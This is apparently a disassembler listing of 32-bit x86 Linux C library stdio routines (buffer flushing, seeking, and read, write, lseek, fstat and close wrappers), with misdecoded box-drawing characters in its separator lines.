陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8061118 proc near var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] test byte ptr [ebx], 8 jnz loc_80611F6 test byte ptr [ebx+1], 8 jnz short loc_8061190 cmp dword ptr [ebx+10h], 0 jnz short loc_8061153 push ebx call sub_8061BB8 mov eax, [ebx+1Ch] mov [ebx+0Ch], eax mov eax, [ebx+1Ch] mov [ebx+4], eax mov eax, [ebx+1Ch] mov [ebx+8], eax add esp, 4 loc_8061153: ; CODE XREF: sub_8061118+1Ej mov eax, [ebx+4] cmp [ebx+20h], eax jnz short loc_8061164 mov eax, [ebx+1Ch] mov [ebx+4], eax mov [ebx+8], eax loc_8061164: ; CODE XREF: sub_8061118+41j mov eax, [ebx+4] mov [ebx+14h], eax mov [ebx+10h], eax mov eax, [ebx+20h] mov [ebx+18h], eax mov eax, [ebx+8] mov [ebx+4], eax mov [ebx+0Ch], eax test dword ptr [ebx], 202h jz short loc_806118A mov eax, [ebx+14h] mov [ebx+18h], eax loc_806118A: ; CODE XREF: sub_8061118+6Aj or dword ptr [ebx], 800h loc_8061190: ; CODE XREF: sub_8061118+18j cmp esi, 0FFFFFFFFh jnz short loc_80611A8 mov eax, [ebx+14h] sub eax, [ebx+10h] push eax mov eax, [ebx+10h] push eax push ebx call sub_8060FA8 jmp short loc_8061205 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80611A8: ; CODE XREF: sub_8061118+7Bj mov eax, [ebx+14h] cmp [ebx+20h], eax jnz short loc_80611C6 sub eax, [ebx+10h] push eax mov eax, [ebx+10h] push eax push ebx call sub_8060FA8 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_80611F6 loc_80611C6: ; CODE XREF: sub_8061118+96j mov eax, [ebx+14h] mov edx, esi mov [eax], dl inc dword ptr [ebx+14h] test byte ptr [ebx], 2 jnz short loc_80611E0 test byte ptr [ebx+1], 2 jz short loc_8061200 cmp esi, 0Ah jnz short loc_8061200 loc_80611E0: ; CODE XREF: sub_8061118+BBj mov eax, [ebx+14h] sub eax, [ebx+10h] push eax mov eax, [ebx+10h] push eax push ebx call sub_8060FA8 cmp eax, 0FFFFFFFFh jnz short loc_8061200 loc_80611F6: ; CODE XREF: sub_8061118+Ej ; sub_8061118+ACj mov eax, 0FFFFFFFFh jmp short loc_8061205 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8061200: ; CODE XREF: sub_8061118+C1j ; sub_8061118+C6j ... mov edx, esi movzx eax, dl loc_8061205: ; CODE XREF: sub_8061118+8Ej ; sub_8061118+E3j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8061118 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8061210 proc near ; CODE XREF: sub_8060D44+19p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] mov eax, [ebx+14h] cmp [ebx+10h], eax jnb short loc_8061234 sub eax, [ebx+10h] push eax mov eax, [ebx+10h] push eax push ebx call sub_8060FA8 add esp, 0Ch test eax, eax jnz short loc_8061256 loc_8061234: ; CODE XREF: sub_8061210+Dj mov edx, [ebx+4] sub edx, [ebx+8] jz short loc_8061266 mov eax, [ebx+50h] push 1 push edx push ebx mov eax, [eax+7Ch] call eax cmp eax, 0FFFFFFFFh jnz short loc_8061260 cmp __errno, 1Dh jz short loc_8061266 loc_8061256: ; CODE XREF: sub_8061210+22j mov eax, 0FFFFFFFFh jmp short loc_806126F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8061260: ; CODE XREF: sub_8061210+3Bj mov eax, [ebx+4] mov [ebx+8], eax loc_8061266: ; CODE XREF: sub_8061210+2Aj ; sub_8061210+44j mov dword ptr [ebx+40h], 0FFFFFFFFh xor eax, eax loc_806126F: ; CODE XREF: sub_8061210+4Bj mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8061210 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8061278 proc near var_54 = byte ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h var_38 = word ptr -38h var_2C = dword ptr -2Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 48h push edi push esi push ebx mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] mov edi, [ebp+arg_8] cmp [ebp+arg_C], 0 jnz short loc_8061297 mov edi, 1 xor esi, esi loc_8061297: ; CODE XREF: sub_8061278+16j mov eax, [ebx+14h] cmp [ebx+10h], eax jb short loc_80612A5 test byte ptr [ebx+1], 8 jz short loc_80612B6 loc_80612A5: ; CODE XREF: sub_8061278+25j push ebx call sub_806186C add esp, 4 test eax, eax jnz loc_80613CA loc_80612B6: ; CODE XREF: sub_8061278+2Bj cmp dword ptr [ebx+1Ch], 0 jnz short loc_80612E6 push ebx call sub_8061BB8 mov eax, [ebx+1Ch] mov [ebx+14h], eax mov [ebx+10h], eax mov eax, [ebx+1Ch] mov [ebx+18h], eax mov eax, [ebx+1Ch] mov [ebx+0Ch], eax mov eax, [ebx+1Ch] mov [ebx+4], eax mov eax, [ebx+1Ch] mov [ebx+8], eax add esp, 4 loc_80612E6: ; CODE XREF: sub_8061278+42j cmp edi, 1 jz short loc_80612F4 jle short loc_806133E cmp edi, 2 jz short loc_806130C jmp short loc_806133E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80612F4: ; CODE XREF: sub_8061278+71j mov eax, [ebx+8] sub eax, [ebx+4] sub esi, eax cmp dword ptr [ebx+40h], 0FFFFFFFFh jz loc_806143C add esi, [ebx+40h] jmp short loc_806133C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806130C: ; CODE XREF: sub_8061278+78j mov eax, [ebx+50h] lea edx, [ebp+var_40] push edx push ebx mov eax, [eax+8Ch] call eax add esp, 8 test eax, eax jnz loc_806143C mov ax, [ebp+var_38] and ax, 0F000h cmp ax, 8000h jnz loc_806143C add esi, [ebp+var_2C] loc_806133C: ; CODE XREF: sub_8061278+91j xor edi, edi loc_806133E: ; CODE XREF: sub_8061278+73j ; sub_8061278+7Aj cmp dword ptr [ebx+40h], 0FFFFFFFFh jz short loc_806138C cmp dword ptr [ebx+0Ch], 0 jz short loc_806138C test byte ptr [ebx+1], 1 jnz short loc_806138C mov edx, esi sub edx, [ebx+40h] mov eax, [ebx+8] sub eax, [ebx+0Ch] add edx, eax js short loc_806138C cmp edx, eax jg short loc_806138C mov eax, [ebx+1Ch] mov [ebx+0Ch], eax add edx, [ebx+1Ch] mov [ebx+4], edx mov eax, [ebx+8] mov [ebx+8], eax mov eax, [ebx+1Ch] mov [ebx+14h], eax mov [ebx+10h], eax mov eax, [ebx+1Ch] mov [ebx+18h], eax mov eax, esi jmp loc_8061482 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806138C: ; CODE XREF: sub_8061278+CAj ; sub_8061278+D0j ... test byte ptr [ebx], 4 jnz loc_806143C mov edx, [ebx+20h] sub edx, [ebx+1Ch] mov eax, edx neg eax and eax, esi mov [ebp+var_48], eax mov edi, esi sub edi, eax cmp edi, edx jle short loc_80613B1 mov [ebp+var_48], esi xor edi, edi loc_80613B1: ; CODE XREF: sub_8061278+132j mov eax, [ebx+50h] push 0 mov ecx, [ebp+var_48] push ecx push ebx mov eax, [eax+7Ch] call eax mov [ebp+var_44], eax add esp, 0Ch test eax, eax jge short loc_80613D4 loc_80613CA: ; CODE XREF: sub_8061278+38j mov eax, 0FFFFFFFFh jmp loc_8061482 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80613D4: ; CODE XREF: sub_8061278+150j test edi, edi jnz short loc_80613DC xor edx, edx jmp short loc_806140C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80613DC: ; CODE XREF: sub_8061278+15Ej mov edx, [ebx+50h] mov eax, [ebx+20h] sub eax, [ebx+1Ch] push eax mov eax, [ebx+1Ch] push eax push ebx mov eax, [edx+6Ch] call eax mov edx, eax add esp, 0Ch cmp edx, edi jge short loc_806140C mov esi, edi cmp edx, 0FFFFFFFFh jz short loc_8061402 sub esi, edx loc_8061402: ; CODE XREF: sub_8061278+186j mov edi, 1 jmp short loc_806143C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806140C: ; CODE XREF: sub_8061278+162j ; sub_8061278+17Fj mov eax, [ebx+1Ch] mov [ebx+0Ch], eax add edi, [ebx+1Ch] mov [ebx+4], edi mov ecx, [ebx+1Ch] add ecx, edx mov [ebx+8], ecx mov eax, [ebx+1Ch] mov [ebx+14h], eax mov [ebx+10h], eax mov eax, [ebx+1Ch] mov [ebx+18h], eax add edx, [ebp+var_44] mov [ebx+40h], edx and dword ptr [ebx], 0FFFFFFEFh mov eax, esi jmp short loc_8061482 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806143C: ; CODE XREF: sub_8061278+88j ; sub_8061278+A9j ... push ebx call sub_8062368 mov eax, [ebx+50h] push edi push esi push ebx mov eax, [eax+7Ch] call eax mov [ebp+var_44], eax cmp eax, 0FFFFFFFFh jz short loc_8061458 and dword ptr [ebx], 0FFFFFFEFh loc_8061458: ; CODE XREF: sub_8061278+1DBj mov ecx, [ebp+var_44] mov [ebx+40h], ecx mov eax, [ebx+1Ch] mov [ebx+0Ch], eax mov eax, [ebx+1Ch] mov [ebx+4], eax mov eax, [ebx+1Ch] mov [ebx+8], eax mov eax, [ebx+1Ch] mov [ebx+14h], eax mov [ebx+10h], eax mov eax, [ebx+1Ch] mov [ebx+18h], eax mov eax, [ebp+var_44] loc_8061482: ; CODE XREF: sub_8061278+10Ej ; sub_8061278+157j ... lea esp, [ebp+var_54] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8061278 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_806148C proc near var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] mov ebx, [ebp+arg_8] nop loc_806149C: ; CODE XREF: sub_806148C+2Aj push ebx push esi mov eax, [edi+38h] push eax call read add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_80614B8 cmp __errno, 4 jz short loc_806149C loc_80614B8: ; CODE XREF: sub_806148C+21j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_806148C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80614C4 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [ebp+arg_8] push eax push edx mov eax, [ecx+38h] push eax call lseek mov esp, ebp pop ebp retn sub_80614C4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80614E0 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [eax+38h] push edx push eax push 1 call fstat mov esp, ebp pop ebp retn sub_80614E0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80614FC proc near arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov eax, [eax+38h] push eax call close mov esp, ebp pop ebp retn sub_80614FC endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8061510 proc near var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] mov ebx, [ebp+arg_8] loc_806151F: ; CODE XREF: sub_8061510+2Aj ; sub_8061510+33j test ebx, ebx jle short loc_8061548 push ebx push esi mov eax, [edi+38h] push eax call write add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_806153C sub ebx, eax add esi, eax jmp short loc_806151F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806153C: ; CODE XREF: sub_8061510+24j cmp __errno, 4 jz short loc_806151F or byte ptr [edi], 20h loc_8061548: ; CODE XREF: sub_8061510+11j sub [ebp+arg_8], ebx cmp dword ptr [edi+40h], 0 jl short loc_8061557 mov edx, [ebp+arg_8] add [edi+40h], edx loc_8061557: ; CODE XREF: sub_8061510+3Fj mov eax, [ebp+arg_8] lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8061510 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8061564 proc near var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push edi push esi push ebx mov ebx, [ebp+arg_4] mov eax, [ebp+arg_8] mov [ebp+var_4], eax xor esi, esi test eax, eax jnz short loc_8061598 xor eax, eax jmp loc_806177E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8061584: ; CODE XREF: sub_8061564+94j ; sub_8061564+9Fj ... mov eax, [ebp+var_C] sub eax, ebx lea edi, [eax+1] mov esi, 1 jmp loc_8061656 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8061598: ; CODE XREF: sub_8061564+16j mov edx, [ebp+arg_0] mov edi, [edx+18h] sub edi, [edx+14h] mov eax, [edx] and eax, 0A00h cmp eax, 0A00h jnz loc_8061656 mov edi, [edx+20h] sub edi, [edx+14h] cmp [ebp+arg_8], edi ja loc_8061656 mov eax, [ebp+arg_8] add eax, ebx mov [ebp+var_C], eax cmp eax, ebx jbe loc_8061656 mov eax, ebx sub eax, [ebp+var_C] mov ecx, eax and ecx, 3 cmp [ebp+var_C], ebx jle short loc_8061609 test ecx, ecx jz short loc_806161C cmp ecx, 3 jge short loc_8061609 cmp ecx, 2 jge short loc_80615FA dec [ebp+var_C] mov edx, [ebp+var_C] cmp byte ptr [edx], 0Ah jz short loc_8061584 loc_80615FA: ; CODE XREF: sub_8061564+89j dec [ebp+var_C] mov eax, [ebp+var_C] cmp byte ptr [eax], 0Ah jz loc_8061584 loc_8061609: ; CODE XREF: sub_8061564+7Bj ; sub_8061564+84j dec [ebp+var_C] mov edx, [ebp+var_C] cmp byte ptr [edx], 0Ah jz loc_8061584 cmp edx, ebx jbe short loc_8061656 loc_806161C: ; CODE XREF: sub_8061564+7Fj ; sub_8061564+F0j dec [ebp+var_C] mov eax, [ebp+var_C] cmp byte ptr [eax], 0Ah jz loc_8061584 dec eax mov [ebp+var_C], eax cmp byte ptr [eax], 0Ah jz loc_8061584 dec eax mov [ebp+var_C], eax cmp byte ptr [eax], 0Ah jz loc_8061584 dec eax mov [ebp+var_C], eax cmp byte ptr [eax], 0Ah jz loc_8061584 cmp eax, ebx ja short loc_806161C loc_8061656: ; CODE XREF: sub_8061564+2Dj ; sub_8061564+49j ... test edi, edi jz loc_8061708 cmp [ebp+var_4], edi jnb short loc_8061666 mov edi, [ebp+var_4] loc_8061666: ; CODE XREF: sub_8061564+FDj cmp edi, 14h jbe short loc_8061680 mov edx, [ebp+arg_0] mov edx, [edx+14h] push edi push ebx push edx call memcpy add esp, 0Ch add ebx, edi jmp short loc_80616FF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8061680: ; CODE XREF: sub_8061564+105j mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ebp+var_C], eax lea ecx, [edi-1] test ecx, ecx jl short loc_80616FF mov eax, ecx not eax and eax, 3 mov [ebp+var_8], eax cmp ecx, 0FFFFFFFFh jle short loc_80616C9 test eax, eax jz short loc_80616D8 cmp eax, 3 jge short loc_80616C9 cmp eax, 2 jge short loc_80616BC mov dl, [ebx] mov eax, [ebp+var_C] mov [eax], dl inc ebx inc eax mov [ebp+var_C], eax lea ecx, [edi-2] loc_80616BC: ; CODE XREF: sub_8061564+147j mov dl, [ebx] mov eax, [ebp+var_C] mov [eax], dl inc ebx inc eax mov [ebp+var_C], eax dec ecx loc_80616C9: ; CODE XREF: sub_8061564+139j ; sub_8061564+142j mov dl, [ebx] mov eax, [ebp+var_C] mov [eax], dl inc ebx inc eax mov [ebp+var_C], eax dec ecx js short loc_80616FF loc_80616D8: ; CODE XREF: sub_8061564+13Dj ; sub_8061564+199j mov dl, [ebx] mov eax, [ebp+var_C] mov [eax], dl mov dl, [ebx+1] mov [eax+1], dl mov dl, [ebx+2] mov [eax+2], dl mov dl, [ebx+3] mov [eax+3], dl add ebx, 4 add eax, 4 mov [ebp+var_C], eax add ecx, 0FFFFFFFCh jns short loc_80616D8 loc_80616FF: ; CODE XREF: sub_8061564+11Aj ; sub_8061564+12Aj ... mov eax, [ebp+arg_0] add [eax+14h], edi sub [ebp+var_4], edi loc_8061708: ; CODE XREF: sub_8061564+F4j mov eax, [ebp+var_4] add eax, esi jz short loc_8061778 push 0FFFFFFFFh mov edx, [ebp+arg_0] push edx call sub_8061910 mov ecx, eax add esp, 8 cmp ecx, 0FFFFFFFFh jz short loc_8061778 mov eax, [ebp+arg_0] mov ecx, [eax+20h] sub ecx, [eax+1Ch] cmp ecx, 7Fh jbe short loc_8061740 mov eax, [ebp+var_4] xor edx, edx div ecx mov esi, edx jmp short loc_8061742 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8061740: ; CODE XREF: sub_8061564+1CCj xor esi, esi loc_8061742: ; CODE XREF: sub_8061564+1D7j mov edi, [ebp+var_4] sub edi, esi push edi push ebx mov eax, [ebp+arg_0] push eax call sub_8060FA8 mov ecx, eax add esp, 0Ch cmp ecx, 0FFFFFFFFh jz short loc_8061778 mov [ebp+var_4], esi test esi, esi jz short loc_8061778 push esi add ebx, edi mov [ebp+var_8], ebx push ebx mov edx, [ebp+arg_0] push edx call sub_8061C2C mov ecx, eax sub [ebp+var_4], ecx loc_8061778: ; CODE XREF: sub_8061564+1A9j ; sub_8061564+1BEj ... mov eax, [ebp+arg_8] sub eax, [ebp+var_4] loc_806177E: ; CODE XREF: sub_8061564+1Aj lea esp, [ebp+var_18] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8061564 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8061788 proc near ; CODE XREF: fopen+45p sub_8060D44+6Bp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov ecx, [ebp+arg_0] cmp byte ptr [ecx], 0 jge short loc_80617C0 mov edx, offset off_80787F8 cmp off_80787F8, 0 jz short loc_80617BA db 8Dh,76h,0 ; lea esi, [esi+0] loc_80617A4: ; CODE XREF: sub_8061788+30j cmp [edx], ecx jnz short loc_80617B0 mov eax, [ecx+34h] mov [edx], eax jmp short loc_80617BA ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80617B0: ; CODE XREF: sub_8061788+1Ej mov edx, [edx] add edx, 34h cmp dword ptr [edx], 0 jnz short loc_80617A4 loc_80617BA: ; CODE XREF: sub_8061788+17j ; sub_8061788+25j and dword ptr [ecx], 0FFFFFF7Fh loc_80617C0: ; CODE XREF: sub_8061788+9j mov esp, ebp pop ebp retn sub_8061788 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80617C4 proc near ; CODE XREF: sub_8060D24+14p ; sub_8060E20+DCp arg_0 = dword ptr 8 push ebp mov ebp, esp mov edx, [ebp+arg_0] cmp byte ptr [edx], 0 jl short loc_80617E0 or byte ptr [edx], 80h mov eax, off_80787F8 mov [edx+34h], eax mov off_80787F8, edx loc_80617E0: ; CODE XREF: sub_80617C4+9j mov esp, ebp pop ebp retn sub_80617C4 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80617E4 proc near ; CODE XREF: sub_8061928+Dp arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov edx, [eax+8] sub edx, [eax+0Ch] mov eax, [eax+30h] test eax, eax jz short loc_8061806 nop loc_80617F8: ; CODE XREF: sub_80617E4+20j cmp [eax+8], edx jge short loc_8061800 mov edx, [eax+8] loc_8061800: ; CODE XREF: sub_80617E4+17j mov eax, [eax] test eax, eax jnz short loc_80617F8 loc_8061806: ; CODE XREF: sub_80617E4+11j mov eax, edx mov esp, ebp pop ebp retn sub_80617E4 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_806180C proc near ; CODE XREF: sub_80618D4+Ep ; sub_8061A70+2Ap ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFEFFh mov ecx, [eax+8] mov edx, [eax+2Ch] mov [eax+8], edx mov [eax+2Ch], ecx mov ecx, [eax+0Ch] mov edx, [eax+24h] mov [eax+0Ch], edx mov [eax+24h], ecx mov edx, [eax+0Ch] mov [eax+4], edx mov esp, ebp pop ebp retn sub_806180C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_806183C proc near ; CODE XREF: sub_8062318+37p ; sub_80623B8+25p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] or dword ptr [eax], 100h mov ecx, [eax+8] mov edx, [eax+2Ch] mov [eax+8], edx mov [eax+2Ch], ecx mov ecx, [eax+0Ch] mov edx, [eax+24h] mov [eax+0Ch], edx mov [eax+24h], ecx mov edx, [eax+8] mov [eax+4], edx mov esp, ebp pop ebp retn sub_806183C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_806186C proc near ; CODE XREF: sub_806106C+35p ; sub_8061278+2Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] mov eax, [ebx+14h] cmp [ebx+10h], eax jnb short loc_8061894 mov eax, [ebx+50h] push 0FFFFFFFFh push ebx mov eax, [eax+14h] call eax cmp eax, 0FFFFFFFFh jnz short loc_8061894 mov eax, 0FFFFFFFFh jmp short loc_80618CC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8061894: ; CODE XREF: sub_806186C+Dj ; sub_806186C+1Dj test byte ptr [ebx+1], 1 jz short loc_80618A4 mov eax, [ebx+28h] mov [ebx+0Ch], eax jmp short loc_80618B5 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80618A4: ; CODE XREF: sub_806186C+2Cj mov eax, [ebx+1Ch] mov [ebx+0Ch], eax mov eax, [ebx+14h] cmp [ebx+8], eax jnb short loc_80618B5 mov [ebx+8], eax loc_80618B5: ; CODE XREF: sub_806186C+34j ; sub_806186C+44j mov eax, [ebx+14h] mov [ebx+4], eax mov [ebx+18h], eax mov [ebx+14h], eax mov [ebx+10h], eax and dword ptr [ebx], 0FFFFF7FFh xor eax, eax loc_80618CC: ; CODE XREF: sub_806186C+24j mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_806186C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80618D4 proc near ; CODE XREF: sub_8061A70+63p ; sub_8061AEC+67p ... 